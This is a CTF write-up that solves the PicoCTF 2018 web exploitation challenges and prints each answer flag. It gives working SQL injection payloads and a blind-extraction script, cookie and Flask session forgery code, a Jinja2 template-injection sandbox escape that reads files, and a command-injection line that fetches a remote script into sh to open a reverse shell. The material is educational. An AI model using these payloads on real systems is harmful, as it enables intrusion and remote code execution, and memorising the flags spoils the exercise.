PicoCTF 2018 Writeup: Web Exploitation
Oct 14, 2018 15:38 · 2872 words · 14 minute read
Inspect Me
Problem
Inpect this code! http://2018shell2.picoctf.com:35349
Solution
You can do view source code
in your browser to get the flag.
Here are the source code for index.html
, mycss.css
, and myjs.js
:
<!doctype html>
<html>
<head>
<title>My First Website :)</title>
<link href="https://fonts.googleapis.com/css?family=Open+Sans|Roboto" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="mycss.css">
<script type="application/javascript" src="myjs.js"></script>
</head>
<body>
<div class="container">
<header>
<h1>My First Website</h1>
</header>
<button class="tablink" onclick="openTab('tabintro', this, '#222')" id="defaultOpen">Intro</button>
<button class="tablink" onclick="openTab('tababout', this, '#222')">About</button>
<div id="tabintro" class="tabcontent">
<h3>Intro</h3>
<p>This is my first website!</p>
</div>
<div id="tababout" class="tabcontent">
<h3>About</h3>
<p>These are the web skills I've been practicing: <br/>
HTML <br/>
CSS <br/>
JS (JavaScript)
</p>
<!-- I learned HTML! Here's part 1/3 of the flag: picoCTF{ur_4_real_1nspe -->
</div>
</div>
</body>
</html>
div.container {
width: 100%;
}
header {
background-color: #c9d8ef;
padding: 1em;
color: white;
clear: left;
text-align: center;
}
body {
font-family: Roboto;
}
h1 {
color: #222;
}
p {
font-family: "Open Sans";
}
.tablink {
background-color: #555;
color: white;
float: left;
border: none;
outline: none;
cursor: pointer;
padding: 14px 16px;
font-size: 17px;
width: 50%;
}
.tablink:hover {
background-color: #777;
}
.tabcontent {
color: #111;
display: none;
padding: 50px;
text-align: center;
}
#tabintro { background-color: #ccc; }
#tababout { background-color: #ccc; }
/* I learned CSS! Here's part 2/3 of the flag: ct0r_g4dget_098df0d0} */
function openTab(tabName,elmnt,color) {
var i, tabcontent, tablinks;
tabcontent = document.getElementsByClassName("tabcontent");
for (i = 0; i < tabcontent.length; i++) {
tabcontent[i].style.display = "none";
}
tablinks = document.getElementsByClassName("tablink");
for (i = 0; i < tablinks.length; i++) {
tablinks[i].style.backgroundColor = "";
}
document.getElementById(tabName).style.display = "block";
if(elmnt.style != null) {
elmnt.style.backgroundColor = color;
}
}
window.onload = function() {
openTab('tabintro', this, '#222');
}
/* I learned JavaScript! Here's part 3/3 of the flag: */
Put the three parts together, and you get the flag.
flag: picoCTF{ur_4_real_1nspect0r_g4dget_098df0d0}
Client Side is Still Bad
Problem
I forgot my password again, but this time there doesn’t seem to be a reset, can you help me? http://2018shell2.picoctf.com:55790
Solution
Let’s take a look at the source code of the web page:
<html>
<head>
<title>Super Secure Log In</title>
</head>
<body bgcolor="#000000">
<!-- standard MD5 implementation -->
<script type="text/javascript" src="md5.js"></script>
<script type="text/javascript">
function verify() {
checkpass = document.getElementById("pass").value;
split = 4;
if (checkpass.substring(split*7, split*8) == '}') {
if (checkpass.substring(split*6, split*7) == 'd366') {
if (checkpass.substring(split*5, split*6) == 'd_3b') {
if (checkpass.substring(split*4, split*5) == 's_ba') {
if (checkpass.substring(split*3, split*4) == 'nt_i') {
if (checkpass.substring(split*2, split*3) == 'clie') {
if (checkpass.substring(split, split*2) == 'CTF{') {
if (checkpass.substring(0,split) == 'pico') {
alert("You got the flag!")
}
}
}
}
}
}
}
}
else {
alert("Incorrect password");
}
}
</script>
<div style="position:relative; padding:5px;top:50px; left:38%; width:350px; height:140px; background-color:red">
<div style="text-align:center">
<p>Welcome to the Secure Login Server.</p>
<p>Please enter your credentials to proceed</p>
<form action="index.html" method="post">
<input type="password" id="pass" size="8" />
<br/>
<input type="submit" value="Log in" onclick="verify(); return false;" />
</form>
</div>
</div>
</body>
</html>
As you can see, the flag is checked in the user’s browser (the client side), and we can piece together the flag using the nested if
statements.
flag: picoCTF{client_is_bad_3bd366}
Logon
Problem
I made a website so now you can log on to! I don’t seem to have the admin password. See if you can’t get to the flag. http://2018shell2.picoctf.com:5477
Solution
After playing around with the website for a bit, we can see that the website allows logins as long as the username is not admin
. Our next step would be to look at the cookies stored in our browser after login:
As you can see, there’s a cookie called admin
, and it is currently set to False
. By changing it from False
to True
, we are able to fool the server and get the flag.
flag: picoCTF{l0g1ns_ar3nt_r34l_aaaaa17a}
Irish Name Repo
Problem
There is a website running at http://2018shell2.picoctf.com:52135. Do you think you can log us in? Try to see if you can login!
Solution
First, we see that the login page is located at http://2018shell2.picoctf.com:52135/login.html.
Also, by reading the html source code, we see that there is a hidden input field called debug
:
<form action="login.php" method="POST">
<fieldset>
<div class="form-group">
<label for="username">Username:</label>
<input type="text" id="username" name="username" class="form-control">
</div>
<div class="form-group">
<label for="password">Password:</label>
<div class="controls">
<input type="password" id="password" name="password" class="form-control">
</div>
</div>
<input type="hidden" name="debug" value="0">
<div class="form-actions">
<input type="submit" value="Login" class="btn btn-primary">
</div>
</fieldset>
</form>
After setting the field to 1
inside the browser, we get this when trying to login:
username: admin
password: admin
SQL query: SELECT * FROM users WHERE name='admin' AND password='admin'
Login failed.
As you can see, this is a SQL injection problem.
By setting username to ' or 1=1 --
and password to some random string, the sql query becomes SELECT * FROM users WHERE name='' or 1=1 -- AND password='admin'
. Because the --
comments out everything after it and 1=1
is always trye, we are able to make the sql return all users giving us the flag.
flag: picoCTF{con4n_r3411y_1snt_1r1sh_8cf1b7e7}
Mr. Robots
Problem
Do you see the same things I see? The glimpses of the flag hidden away? http://2018shell2.picoctf.com:40064
Solution
As the name implies, this challenge is about reading the robots.txt
file which you can learn more about over here.
By visiting http://2018shell2.picoctf.com:40064/robots.txt, we see that there’s a page at /30de1.html
, and we get the flag by going to http://2018shell2.picoctf.com:40064/30de1.html.
flag: picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_30de1}
No Login
Problem
Looks like someone started making a website but never got around to making a login, but I heard there was a flag if you were the admin. http://2018shell2.picoctf.com:14664
Solution
Similar to Logon, you solve this challenge by setting the cookie admin
from 0
to 1
.
Here is how you can send a http request from the terminal using httpie:
❯ http GET http://2018shell2.picoctf.com:14664/flag "Cookie:admin=1"
HTTP/1.1 200 OK
Content-Length: 1343
Content-Type: text/html; charset=utf-8
Set-Cookie: admin=; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Path=/
<!DOCTYPE html>
<html lang="en">
<head>
<title>My New Website</title>
<link href="http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">
<link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">
</head>
<body>
<div class="container">
<div class="header">
<nav>
<ul class="nav nav-pills pull-right">
<li role="presentation" class="active"><a href="/">Home</a>
</li>
<li role="presentation"><a href="/unimplemented">Sign In</a>
</li>
<li role="presentation"><a href="/unimplemented">Sign Out</a>
</li>
</ul>
</nav>
<h3 class="text-muted">My New Website</h3>
</div>
<div class="jumbotron">
<p class="lead"></p>
<p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{n0l0g0n_n0_pr0bl3m_eb9bab29}</code></p>
<!-- <p><a class="btn btn-lg btn-success" href="admin" role="button">Click here for the flag!</a> -->
<!-- </p> -->
</div>
<footer class="footer">
<p>© PicoCTF 2018</p>
</footer>
</div>
</body>
</html>
flag: picoCTF{n0l0g0n_n0_pr0bl3m_eb9bab29}
Secret Agent
Problem
Here’s a little website that hasn’t fully been finished. But I heard google gets all your info anyway. http://2018shell2.picoctf.com:46162
Solution
As hinted in the problem description, we need to fake our http user agent to pretent as google.
Here is how it can be done using the terminal:
❯ http GET http://2018shell2.picoctf.com:46162/flag User-Agent:"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
HTTP/1.1 200 OK
Content-Length: 2111
Content-Type: text/html; charset=utf-8
Set-Cookie: session=; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/
<!DOCTYPE html>
<html lang="en">
<head>
<title>My New Website</title>
<link href="http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">
<link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<div class="header">
<nav>
<ul class="nav nav-pills pull-right">
<li role="presentation" class="active"><a href="/">Home</a>
</li>
<li role="presentation"><a href="/unimplemented">Sign In</a>
</li>
<li role="presentation"><a href="/unimplemented">Sign Out</a>
</li>
</ul>
</nav>
<h3 class="text-muted">My New Website</h3>
</div>
<!-- Categories: success (green), info (blue), warning (yellow), danger (red) -->
<div class="alert alert-success alert-dismissible" role="alert" id="myAlert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
<!-- <strong>Title</strong> --> Googlebot!
</div>
<div class="jumbotron">
<p class="lead"></p>
<p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{s3cr3t_ag3nt_m4n_ac87e6a7}</code></p>
<!-- <p><a class="btn btn-lg btn-success" href="admin" role="button">Click here for the flag!</a> -->
<!-- </p> -->
</div>
<footer class="footer">
<p>© PicoCTF 2018</p>
</footer>
</div>
<script>
$(document).ready(function(){
$(".close").click(function(){
$("myAlert").alert("close");
});
});
</script>
</body>
</html>
flag: picoCTF{s3cr3t_ag3nt_m4n_ac87e6a7}
Buttons
Problem
There is a website running at http://2018shell2.picoctf.com:44730. Try to see if you can push their buttons.
Solution
Looking at the two buttons, you can see that the first button triggers a POST
requestion while the second one triggers a GET
request:
...
<form action="button1.php" method="POST">
<input type="submit" value="PUSH ME! I am your only hope!"/>
</form>
...
...
You did it! Try the next button: <a href="button2.php">Button2</a>
...
We are able to get the flag by making a POST
request to the second url:
❯ http POST http://2018shell2.picoctf.com:44730/button2.php
HTTP/1.1 200 OK
Content-type: text/html; charset=UTF-8
Well done, your flag is: picoCTF{button_button_whose_got_the_button_dfe8b73c}
flag: picoCTF{button_button_whose_got_the_button_dfe8b73c}
The Vault
Problem
There is a website running at http://2018shell2.picoctf.com:64349. Try to see if you can login!
Solution
First, we are able to read the source code of login.php
:
<?php
ini_set('error_reporting', E_ALL);
ini_set('display_errors', 'On');
include "config.php";
$con = new SQLite3($database_file);
$username = $_POST["username"];
$password = $_POST["password"];
$debug = $_POST["debug"];
$query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'";
if (intval($debug)) {
echo "<pre>";
echo "username: ", htmlspecialchars($username), "\n";
echo "password: ", htmlspecialchars($password), "\n";
echo "SQL query: ", htmlspecialchars($query), "\n";
echo "</pre>";
}
//validation check
$pattern ="/.*['\"].*OR.*/i";
$user_match = preg_match($pattern, $username);
$password_match = preg_match($pattern, $username);
if($user_match + $password_match > 0) {
echo "<h1>SQLi detected.</h1>";
}
else {
$result = $con->query($query);
$row = $result->fetchArray();
if ($row) {
echo "<h1>Logged in!</h1>";
echo "<p>Your flag is: $FLAG</p>";
} else {
echo "<h1>Login failed.</h1>";
}
}
?>
As you can see, this is also a SQL injection problem similar to Irish Name Repo.
The difference is that there’s a detection system that prevents us from using the OR
keyword. Instead of using OR
, we can use the union
keyword to get the flag:
❯ http -f POST http://2018shell2.picoctf.com:64349/login.php debug=1 username="" password="' union select 1 from users--"
HTTP/1.1 200 OK
Content-type: text/html; charset=UTF-8
<pre>username:
password: ' union select 1 from users--
SQL query: SELECT 1 FROM users WHERE name='' AND password='' union select 1 from users--'
</pre><h1>Logged in!</h1><p>Your flag is: picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258}</p>
flag: picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258}
Artisinal Handcrafted HTTP 3
Problem
We found a hidden flag server hiding behind a proxy, but the proxy has some… interesting ideas of what qualifies someone to make HTTP requests. Looks like you’ll have to do this one by hand. Try connecting via nc 2018shell2.picoctf.com 2651
, and use the proxy to send HTTP requests to flag.local
. We’ve also recovered a username and a password for you to use on the login page: realbusinessuser
/potoooooooo
.
Solution
TODO
Flaskcards
Problem
We found this fishy website for flashcards that we think may be sending secrets. Could you take a look?
Solution
As the name implies, this challenge is about the python web framework, flask, or more specifically, Jinja2, the flask template engine.
If we enter {{ 1+1 }}
as the content of a flashcard, we will see 2
being displayed. This means that anything placed in between {{ }}
will be evaluated as a pythong expression.
We can get the flag by dumping the server configs. Just enter {{ config }}
into a flashcard, and you will be able to get the flag.
flag: picoCTF{secret_keys_to_the_kingdom_45e7608d}
fancy-alive-monitoring
Problem
One of my school mate developed an alive monitoring tool. Can you get a flag from http://2018shell2.picoctf.com:17593?
Solution
Let’s take a look at the source code:
<html>
<head>
<title>Monitoring Tool</title>
<script>
function check(){
ip = document.getElementById("ip").value;
chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/);
if (!chk) {
alert("Wrong IP format.");
return false;
} else {
document.getElementById("monitor").submit();
}
}
</script>
</head>
<body>
<h1>Monitoring Tool ver 0.1</h1>
<form id="monitor" action="index.php" method="post" onsubmit="return false;">
<p> Input IP address of the target host
<input id="ip" name="ip" type="text">
</p>
<input type="button" value="Go!" onclick="check()">
</form>
<hr>
<?php
$ip = $_POST["ip"];
if ($ip) {
// super fancy regex check!
if (preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip)) {
exec('ping -c 1 '.$ip, $cmd_result);
foreach($cmd_result as $str){
if (strpos($str, '100% packet loss') !== false){
printf("<h3>Target is NOT alive.</h3>");
break;
} else if (strpos($str, ', 0% packet loss') !== false){
printf("<h3>Target is alive.</h3>");
break;
}
}
} else {
echo "Wrong IP Format.";
}
}
?>
<hr>
<a href="index.txt">index.php source code</a>
</body>
</html>
As you can see, there’s two regular expression being used. One is on the client side and one is on the server side.
The server side regex forget to place $
to match the end of the string; therefore, we are able to run any command on the server using the line exec('ping -c 1 '.$ip, $cmd_result);
. This allows us to setup a reverse shell.
First, run nc -l 1337
on the shell server and then do:
❯ http -f POST http://2018shell2.picoctf.com:17593/index.php ip="192.168.1.1; curl https://shell.now.sh/127.0.0.1:1337 | sh"
This creates a reverse shell that we can then use to cat
out the flag.
I used this helpful tool to create the reverse shell.
flag: picoCTF{n3v3r_trust_a_b0x_d7ad162d}
Secure Logon
Problem
Uh oh, the login page is more secure… I think. http://2018shell2.picoctf.com:46026. Source.
Solution
This problem is about the CBC bit flipping attack. Read more about it here and here.
So, we want to construct a json that contains "admin": 1
instead of "admin": 1
. This can be done by changing the IV value since the json keys are sorted in alphabetical order and admin
turns out to be in the first block. Basically, we want to xor the bytes at the same location as 0
but in the previous block with xor('0', '1')
, and because how CBC is designed, the xor will carry on to the plaintaxt turing 0
to a 1
.
>>> from pwn import *
>>> import json
>>> cookie = {}
>>> cookie['password'] = 'abcdefgh1111111'
>>> cookie['username'] = 'ab'
>>> cookie['admin'] = 0
>>> json.dumps(cookie, sort_keys=True)
'{"admin": 0, "password": "abcdefgh1111111", "username": "ab"}'
>>> json.dumps(cookie, sort_keys=True).index('0')
10
>>> c = 'ePDqhdXDqtxP/rsO0J11E7DE22lyUv4N1aP7WBSlOOgw0v1TVyYrmxHl278LbuI9jxr0J7NuXlKKSTXl79FFF+E3PQP00TidEtlGpf9W1rQ='.decode('base64')
>>> c = c[:10] + xor(c[10], '0', '1') + c[11:]
>>> c.encode('base64').replace('\n','')
'ePDqhdXDqtxP/roO0J11E7DE22lyUv4N1aP7WBSlOOgw0v1TVyYrmxHl278LbuI9jxr0J7NuXlKKSTXl79FFF+E3PQP00TidEtlGpf9W1rQ='
flag: picoCTF{fl1p_4ll_th3_bit3_a6396679}
Flaskcards Skeleton Key
Problem
Nice! You found out they were sending the Secret_key: 385c16dd09098b011d0086f9e218a0a2
. Now, can you find a way to log in as admin? http://2018shell2.picoctf.com:48263.
Solution
Here are a few writeups and guides that I used to solve this challenge: 1, 2.
Basically, by having the Secret_key
, we are able to decrypt and change the cookie of the page; therefore, allowing us to switch from our normal user to the admin user.
Here is the python code that does that (note that some code are borrowed from here):
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
# Override method
# Take secret_key instead of an instance of a Flask app
def get_signing_serializer(self, secret_key):
if not secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation,
digest_method=self.digest_method
)
return URLSafeTimedSerializer(secret_key, salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs)
def decodeFlaskCookie(secret_key, cookieValue):
sscsi = SimpleSecureCookieSessionInterface()
signingSerializer = sscsi.get_signing_serializer(secret_key)
return signingSerializer.loads(cookieValue)
# Keep in mind that flask uses unicode strings for the
# dictionary keys
def encodeFlaskCookie(secret_key, cookieDict):
sscsi = SimpleSecureCookieSessionInterface()
signingSerializer = sscsi.get_signing_serializer(secret_key)
return signingSerializer.dumps(cookieDict)
cookie = decodeFlaskCookie('385c16dd09098b011d0086f9e218a0a2',
'.eJwljzFqBDEMAP_i-gpJtmTpPrNYskRCIIHduyrk77mQbpqBme921JnXW7s_zmfe2vG-273VZhNnJ7AoXSHLWVERs6rPsvDYzBNrRI1U8RfBAFrTOu1U2kBDqChsdTADpzE7Ti6sTOhUwloQMkgn6-xZJpFJiFvAe7u1uM46Hl8f-fnqEbRUW2NQJCiVy1A3IzXckTbDgpLpz3teef5PWPv5BaAZPmI.DpSgrw.SGhImnmWlX33-8gs-0L8kJWC3IY')
cookie[u'user_id'] = u'1'
print encodeFlaskCookie('385c16dd09098b011d0086f9e218a0a2',
cookie)
flag: picoCTF{1_id_to_rule_them_all_d77c1ed6}
Help Me Reset 2
Problem
There is a website running at http://2018shell2.picoctf.com:53126. We need to get into any user for a flag!
Solution
For this challenge, our goal is to reset the password for one of the users. By reading the page source, we are able to find the username:
...
<section class="content">
<div class="container">
...
<!--Proudly maintained by carman-->
</div>
</section>
Then, we have to guess the answer to one of the security questions, and by refreshing the page, we will be able to answer the same question three times allowing us to reset the password. Now login with the new password, and you will get the flag.
flag: picoCTF{i_thought_i_could_remember_those_34745314}
A Simple Question
Problem
There is a website running at http://2018shell2.picoctf.com:15987. Try to see if you can answer its question.
Solution
Let’s take a look at the source code located at view-source:http://2018shell2.picoctf.com:15987/answer2.phps:
<?php
include "config.php";
ini_set('error_reporting', E_ALL);
ini_set('display_errors', 'On');
$answer = $_POST["answer"];
$debug = $_POST["debug"];
$query = "SELECT * FROM answers WHERE answer='$answer'";
echo "<pre>";
echo "SQL query: ", htmlspecialchars($query), "\n";
echo "</pre>";
?>
<?php
$con = new SQLite3($database_file);
$result = $con->query($query);
$row = $result->fetchArray();
if($answer == $CANARY) {
echo "<h1>Perfect!</h1>";
echo "<p>Your flag is: $FLAG</p>";
}
elseif ($row) {
echo "<h1>You are so close.</h1>";
} else {
echo "<h1>Wrong.</h1>";
}
?>
Our objective for this problem would be to retrieve the $CANARY
value from the database.
Because the server returns either a correct or incorrect response, we can guess the characters one at a one.
Here is a python script that does that:
import requests
import string
answer = ''
for i in range(100):
for e in string.printable:
c = e
payload = "' or answer GLOB '{}*".format(answer+c)
r = requests.post('http://2018shell2.picoctf.com:15987/answer2.php', data = {'answer': payload})
if 'so close' in r.text:
print r.text
answer += c
print answer
break
Note that I am using
GLOB
instead ofLIKE BINARY
because it is a sqlite database
The canary turns out to be 41AndSixSixths
, and by entering that, we get the flag.
flag: picoCTF{qu3stions_ar3_h4rd_41da9e94}
Flaskcards and Freedom
Problem
There seem to be a few more files stored on the flash card server but we can’t login. Can you? http://2018shell2.picoctf.com:46628
Solution
This problem combines python template injection and sandbox escaping into one question.
We bascially have to be able to read file on the system just by abusing the template injection vulnerablity.
This cheatsheet is very helpful in the proceess.
First, we need to bypass the restriction on using __class__
, __subclasses__
, and etc. This can be done by using request.args.*
and pass in the values using the GET arguments.
Second, we need to be able to access attributes without using .
. This is done using |attr()
, a special symbol in the Jinja2 templating language.
Lastly, we need a way to read file. I did this by first dump all the classes using ''.__class__.__mro__[1].__subclasses__()
. After going through all the classes, I landed on click.utils.LazyFile
that is able to read files.
In the end, my exploit looks like this:
template string: {{((''|attr(request.args.param)|attr(request.args.param2))[1]|attr(request.args.param3))()[197](request.args.param4).open().read()}}
URL: http://2018shell2.picoctf.com:46628/list_cards?param=__class__¶m2=__mro__¶m3=__subclasses__¶m4=/proc/self/cwd/flag
flag: picoCTF{R_C_E_wont_let_me_be_9659aa9e}
Feel free to leave a comment if any of the challenges is not well explained.